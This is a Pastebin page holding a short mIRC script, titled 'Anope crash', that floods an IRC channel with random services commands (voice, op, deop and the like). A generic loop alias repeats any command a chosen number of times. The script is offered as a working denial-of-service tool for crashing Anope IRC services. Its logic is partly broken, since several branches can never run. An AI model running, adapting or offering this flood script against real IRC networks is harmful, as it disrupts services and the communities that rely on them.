Guest User

Untitled

a guest
Sep 5th, 2011
679
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
mIRC 0.91 KB | None | 0 0
  1. ;- Anope crash by Aha2Y
  2. ;- Manual flood = /crash
  3. ;- Automatic flood = /flood <how much> /crash
  4.  
  5. alias crash {
  6.   set %crash $rand(1,6)
  7.   if (%crash == 1) { msg $active !voice }
  8.   if (%crash == 2) { msg $active !devoice }
  9.   if (%crash == 3) { msg $active !op }
  10.   if (%crash == 4) { msg $active !deop }
  11.   if (%crash == 5) { msg $active !halfop }
  12.   if (%crash == 6) { msg $active !dehalfop }
  13.   if (%crash == 7) { .msg nickserv help }
  14.   if (%crash == 8) { .msg HostServ help }
  15.   if (%crash == 9) { .msg ChanServ help }
  16.   if (%crash == 10) { .msg BotServ help }
  17. }
  18.  
  19. #### FLOOD MODULE BY AHA2Y
  20.  
  21. alias Flood {
  22.   if ($1 !isnum) { goto usage2 }
  23.   if ($1 == $null) { goto usage }
  24.   if ($1 != $null) {
  25.     var %i = 1
  26.     while (%i <= $1) {
  27.       $2-
  28.       inc %i
  29.     }
  30.   }
  31.   halt
  32.   :usage
  33.   echo -a Usage: Flood <how much lines> <text>
  34.  
  35.   halt
  36.   :usage2
  37.   echo -a Usage: Flood <how much lines> <text>
  38. }
Advertisement
Add Comment
Please, Sign In to add comment